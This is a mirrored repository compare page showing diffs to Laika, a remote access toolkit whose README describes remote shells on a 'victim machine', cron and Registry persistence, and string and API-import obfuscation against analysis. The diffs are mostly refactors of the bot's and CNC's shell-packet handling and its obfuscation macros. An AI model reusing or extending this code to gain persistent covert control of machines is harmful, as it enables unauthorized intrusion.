mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-18 10:20:08 +00:00
Compare commits
11 Commits
d015eec5f1
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 7c4a5ddc8c | |||
| 5076e4c7b9 | |||
| a1c49edda1 | |||
| 0adfdc0ace | |||
| 3316c77667 | |||
| 7ec814525c | |||
| 490fcec4e7 | |||
| 674ea2b47b | |||
| 6ab280d010 | |||
| dc91a207b1 | |||
| 257a50e817 |
@@ -89,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
|
|||||||
# compile laikalib, tools, cnc & bot
|
# compile laikalib, tools, cnc & bot
|
||||||
add_subdirectory(lib)
|
add_subdirectory(lib)
|
||||||
add_subdirectory(tools)
|
add_subdirectory(tools)
|
||||||
|
add_subdirectory(bot)
|
||||||
|
|
||||||
# these subprojects don't support windows (sorry)
|
# these subprojects don't support windows (sorry)
|
||||||
add_subdirectory(bot) # windows support Soon:tm:
|
|
||||||
if(NOT WIN32 AND (UNIX AND NOT APPLE))
|
if(NOT WIN32 AND (UNIX AND NOT APPLE))
|
||||||
add_subdirectory(cnc)
|
add_subdirectory(cnc)
|
||||||
add_subdirectory(shell)
|
add_subdirectory(shell)
|
||||||
|
|||||||
@@ -16,8 +16,8 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
|
|||||||
|
|
||||||
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
|
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
|
||||||
- Fix address sanitizer for CMake DEBUG builds
|
- Fix address sanitizer for CMake DEBUG builds
|
||||||
- Change laikaT_getTime in `lib/src/core/ltask.c` to not use C11 features
|
- Change laikaT_getTime in `lib/src/core/ltask.c` to not use C11 features and maybe review my linked list implementation :(
|
||||||
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`
|
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`s
|
||||||
- Import more WinAPI manually using the method listed below
|
- Import more WinAPI manually using the method listed below
|
||||||
|
|
||||||
## Bot: Windows API Imports Obfuscation
|
## Bot: Windows API Imports Obfuscation
|
||||||
|
|||||||
13
README.md
13
README.md
@@ -12,19 +12,16 @@ Laika is a simple cross-platform Remote Access Toolkit stack for educational pur
|
|||||||
Some notable features thus far:
|
Some notable features thus far:
|
||||||
- [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
|
- [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
|
||||||
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
|
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
|
||||||
- [X] Server and Shell configuration through `.ini` files.
|
- [X] CNC and Shell configuration through `.ini` files.
|
||||||
- [X] Ability to open shells remotely on the victim's machine.
|
- [X] Open shells remotely on the victim machine.
|
||||||
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
|
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
|
||||||
- [X] Persistence via Cron on Linux-based systems.
|
- [X] Persistence via Cron on Linux-based systems.
|
||||||
- [X] Persistence via Windows Registry.
|
- [X] Persistence via Windows Registry.
|
||||||
- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
|
- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
|
||||||
- [ ] Simple configuration using CMake:
|
- [ ] Simple configuration using CMake:
|
||||||
- [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
|
- [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)
|
||||||
- [ ] Obfuscation modes
|
- [X] Enabling/Disabling Obfuscation (`-DLAIKA_OBFUSCATE=On`)
|
||||||
|
- [ ] Obfuscation modes
|
||||||
## Why?
|
|
||||||
|
|
||||||
I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I started trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
|
|
||||||
|
|
||||||
## How do I use this?
|
## How do I use this?
|
||||||
|
|
||||||
|
|||||||
@@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE)
|
|||||||
add_dependencies(LaikaBot VMBoxGen)
|
add_dependencies(LaikaBot VMBoxGen)
|
||||||
endif ()
|
endif ()
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|
||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
||||||
|
|
||||||
|
|||||||
@@ -73,7 +73,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
|||||||
if (rd > 0) {
|
if (rd > 0) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
laikaS_writeu32(sock, shell->_shell.id);
|
||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else if (rd == -1) {
|
} else if (rd == -1) {
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
|
|||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
|
||||||
|
|
||||||
/* set peer salt */
|
/* set peer salt */
|
||||||
laikaS_setSalt(peer, saltBuf);
|
laikaS_setSalt(peer, saltBuf);
|
||||||
|
|||||||
@@ -9,8 +9,12 @@
|
|||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
|
||||||
|
retrying to connect to the CNC server */
|
||||||
|
#define LAIKA_RETRY_CONNECT 5
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
# ifndef DEBUG
|
# ifndef LAIKA_DEBUG_BUILD
|
||||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||||
{
|
{
|
||||||
# else
|
# else
|
||||||
@@ -54,9 +58,9 @@ int main()
|
|||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
# ifdef _WIN32
|
# ifdef _WIN32
|
||||||
Sleep(5000);
|
Sleep(LAIKA_RETRY_CONNECT*1000);
|
||||||
# else
|
# else
|
||||||
sleep(5);
|
sleep(LAIKA_RETRY_CONNECT);
|
||||||
# endif
|
# endif
|
||||||
} while (1);
|
} while (1);
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
|
|||||||
|
|
||||||
/* tell cnc shell is closed */
|
/* tell cnc shell is closed */
|
||||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
laikaS_writeu32(&bot->peer->sock, id);
|
||||||
laikaS_endOutPacket(bot->peer);
|
laikaS_endOutPacket(bot->peer);
|
||||||
|
|
||||||
laikaB_freeRAWShell(bot, shell);
|
laikaB_freeRAWShell(bot, shell);
|
||||||
@@ -51,9 +51,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
uint32_t id;
|
uint32_t id;
|
||||||
uint16_t cols, rows;
|
uint16_t cols, rows;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&peer->sock);
|
||||||
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
cols = laikaS_readu16(&peer->sock);
|
||||||
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
rows = laikaS_readu16(&peer->sock);
|
||||||
|
|
||||||
/* check if shell is already open */
|
/* check if shell is already open */
|
||||||
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
|
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
|
||||||
@@ -62,7 +62,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
/* open shell & if we failed, tell cnc */
|
/* open shell & if we failed, tell cnc */
|
||||||
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
|
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
|
||||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
laikaS_writeu32(&bot->peer->sock, id);
|
||||||
laikaS_endOutPacket(bot->peer);
|
laikaS_endOutPacket(bot->peer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -73,7 +73,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
struct sLaika_shell *shell;
|
struct sLaika_shell *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&peer->sock);
|
||||||
|
|
||||||
/* check if shell is not running */
|
/* check if shell is not running */
|
||||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||||
@@ -91,7 +91,7 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
/* read data buf */
|
/* read data buf */
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&peer->sock);
|
||||||
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
||||||
|
|
||||||
/* sanity check shell */
|
/* sanity check shell */
|
||||||
|
|||||||
@@ -184,7 +184,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
|||||||
if (readSucc) {
|
if (readSucc) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
laikaS_writeu32(sock, shell->_shell.id);
|
||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
|||||||
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
|
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
|
||||||
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
|
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|
||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})
|
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
#include "cpanel.h"
|
#include "cauth.h"
|
||||||
|
|
||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
#include "core/lerror.h"
|
#include "core/lerror.h"
|
||||||
@@ -65,8 +65,8 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
|
|||||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
||||||
|
|
||||||
/* read term size */
|
/* read term size */
|
||||||
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
|
cols = laikaS_readu16(&authPeer->sock);
|
||||||
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
|
rows = laikaS_readu16(&authPeer->sock);
|
||||||
|
|
||||||
/* open shell */
|
/* open shell */
|
||||||
laikaC_openShell(peer, authPeer, cols, rows);
|
laikaC_openShell(peer, authPeer, cols, rows);
|
||||||
@@ -80,7 +80,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
|||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&authPeer->sock);
|
||||||
|
|
||||||
/* ignore malformed packet */
|
/* ignore malformed packet */
|
||||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||||
@@ -102,7 +102,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
|||||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
||||||
|
|
||||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&authPeer->sock);
|
||||||
sz -= sizeof(uint32_t);
|
sz -= sizeof(uint32_t);
|
||||||
|
|
||||||
/* ignore malformed packet */
|
/* ignore malformed packet */
|
||||||
@@ -116,7 +116,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
|||||||
|
|
||||||
/* forward to peer */
|
/* forward to peer */
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
|
laikaS_writeu32(&peer->sock, shell->botShellID);
|
||||||
laikaS_write(&peer->sock, data, sz);
|
laikaS_write(&peer->sock, data, sz);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
}
|
}
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
#include "core/lmem.h"
|
#include "core/lmem.h"
|
||||||
#include "core/lsodium.h"
|
#include "core/lsodium.h"
|
||||||
#include "core/ltask.h"
|
#include "core/ltask.h"
|
||||||
#include "cpanel.h"
|
#include "cauth.h"
|
||||||
#include "cpeer.h"
|
#include "cpeer.h"
|
||||||
#include "net/lsocket.h"
|
#include "net/lsocket.h"
|
||||||
|
|
||||||
@@ -83,7 +83,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
|||||||
|
|
||||||
/* queue response */
|
/* queue response */
|
||||||
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
||||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
laikaS_writeByte(&peer->sock, laikaM_isBigEndian());
|
||||||
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
laikaS_endOutPacket(peer);
|
laikaS_endOutPacket(peer);
|
||||||
|
|
||||||
|
|||||||
@@ -88,15 +88,15 @@ struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika
|
|||||||
|
|
||||||
/* send SHELL_OPEN packets */
|
/* send SHELL_OPEN packets */
|
||||||
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
|
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
|
||||||
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
|
laikaS_writeu32(&bot->sock, shell->botShellID);
|
||||||
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
|
laikaS_writeu16(&bot->sock, cols);
|
||||||
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
|
laikaS_writeu16(&bot->sock, rows);
|
||||||
laikaS_endOutPacket(bot);
|
laikaS_endOutPacket(bot);
|
||||||
|
|
||||||
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
|
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
|
||||||
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
|
laikaS_writeu32(&auth->sock, shell->authShellID);
|
||||||
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
|
laikaS_writeu16(&auth->sock, cols);
|
||||||
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
|
laikaS_writeu16(&auth->sock, rows);
|
||||||
laikaS_endOutPacket(auth);
|
laikaS_endOutPacket(auth);
|
||||||
|
|
||||||
return shell;
|
return shell;
|
||||||
@@ -106,11 +106,11 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell)
|
|||||||
{
|
{
|
||||||
/* send SHELL_CLOSE packets */
|
/* send SHELL_CLOSE packets */
|
||||||
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
|
laikaS_writeu32(&shell->bot->sock, shell->botShellID);
|
||||||
laikaS_endOutPacket(shell->bot);
|
laikaS_endOutPacket(shell->bot);
|
||||||
|
|
||||||
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
|
||||||
laikaS_endOutPacket(shell->auth);
|
laikaS_endOutPacket(shell->auth);
|
||||||
|
|
||||||
/* unlink */
|
/* unlink */
|
||||||
@@ -175,7 +175,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&peer->sock);
|
||||||
|
|
||||||
/* ignore packet if shell isn't open */
|
/* ignore packet if shell isn't open */
|
||||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||||
@@ -196,7 +196,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
|
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
id = laikaS_readu32(&peer->sock);
|
||||||
|
|
||||||
/* ignore packet if shell isn't open */
|
/* ignore packet if shell isn't open */
|
||||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||||
@@ -206,7 +206,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
|
|
||||||
/* forward SHELL_DATA packet to auth */
|
/* forward SHELL_DATA packet to auth */
|
||||||
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
|
||||||
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
|
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
|
||||||
laikaS_endVarPacket(shell->auth);
|
laikaS_endVarPacket(shell->auth);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
|
|||||||
# make sure we're compiled *AFTER* lboxconfig.h has been generated
|
# make sure we're compiled *AFTER* lboxconfig.h has been generated
|
||||||
add_dependencies(LaikaLib VMBoxGen)
|
add_dependencies(LaikaLib VMBoxGen)
|
||||||
|
|
||||||
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
# add the version definitions
|
||||||
target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
target_compile_definitions(LaikaLib PUBLIC)
|
||||||
|
|
||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)
|
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)
|
||||||
|
|||||||
@@ -63,13 +63,15 @@ struct sLaikaB_box
|
|||||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
/* clang-format off */
|
||||||
|
|
||||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||||
|
|
||||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||||
#define LAIKA_BOX_SKID(_key) \
|
#define LAIKA_BOX_SKID(_key) \
|
||||||
{ \
|
{ \
|
||||||
.unlockedData = {0}, /* reserved */ \
|
.unlockedData = {0}, /* reserved */ \
|
||||||
.code = { /* stack layout: \
|
.code = { /* stack layout: \
|
||||||
[0] - unlockedData (ptr) \
|
[0] - unlockedData (ptr) \
|
||||||
[1] - data (ptr) \
|
[1] - data (ptr) \
|
||||||
[2] - key (uint8_t) \
|
[2] - key (uint8_t) \
|
||||||
@@ -83,7 +85,7 @@ struct sLaikaB_box
|
|||||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||||
OP_EXIT \
|
OP_EXIT \
|
||||||
} \
|
} \
|
||||||
}
|
}
|
||||||
@@ -93,15 +95,14 @@ struct sLaikaB_box
|
|||||||
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||||
{
|
{
|
||||||
struct sLaikaV_vm vm = {
|
struct sLaikaV_vm vm = {
|
||||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
/* boxes have 3 reserved constants */
|
||||||
.constList =
|
.constList = {
|
||||||
{
|
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
},
|
||||||
},
|
.code = {0}, /* zero initalized */
|
||||||
.code = { 0 },
|
.stack = {0}, /* zero initalized */
|
||||||
.stack = { 0 },
|
|
||||||
.pc = 0
|
.pc = 0
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -117,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
|||||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* clang-format on */
|
||||||
|
|
||||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||||
#include "lboxconfig.h"
|
#include "lboxconfig.h"
|
||||||
|
|
||||||
|
|||||||
@@ -24,10 +24,10 @@
|
|||||||
|
|
||||||
/* LAIKA_ERROR(printf args):
|
/* LAIKA_ERROR(printf args):
|
||||||
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
|
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
|
||||||
otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
|
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
|
||||||
arguments are ignored.
|
arguments are ignored.
|
||||||
*/
|
*/
|
||||||
#ifndef DEBUG
|
#ifndef LAIKA_DEBUG_BUILD
|
||||||
# define LAIKA_ERROR(...) \
|
# define LAIKA_ERROR(...) \
|
||||||
do { \
|
do { \
|
||||||
if (LAIKA_ISPROTECTED) \
|
if (LAIKA_ISPROTECTED) \
|
||||||
|
|||||||
@@ -26,6 +26,7 @@
|
|||||||
type *name; \
|
type *name; \
|
||||||
int name##_COUNT; \
|
int name##_COUNT; \
|
||||||
int name##_CAP
|
int name##_CAP
|
||||||
|
|
||||||
#define laikaM_initVector(name, startCap) \
|
#define laikaM_initVector(name, startCap) \
|
||||||
name = NULL; \
|
name = NULL; \
|
||||||
name##_COUNT = 0; \
|
name##_COUNT = 0; \
|
||||||
@@ -56,5 +57,7 @@
|
|||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
void *laikaM_realloc(void *buf, size_t sz);
|
void *laikaM_realloc(void *buf, size_t sz);
|
||||||
|
bool laikaM_isBigEndian(void);
|
||||||
|
void laikaM_reverse(uint8_t *buf, size_t sz);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
#ifndef LAIKA_RSA_H
|
#ifndef LAIKA_RSA_H
|
||||||
#define LAIKA_RSA_H
|
#define LAIKA_RSA_H
|
||||||
|
|
||||||
|
#include "lconfig.h"
|
||||||
#include "sodium.h"
|
#include "sodium.h"
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ enum
|
|||||||
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
|
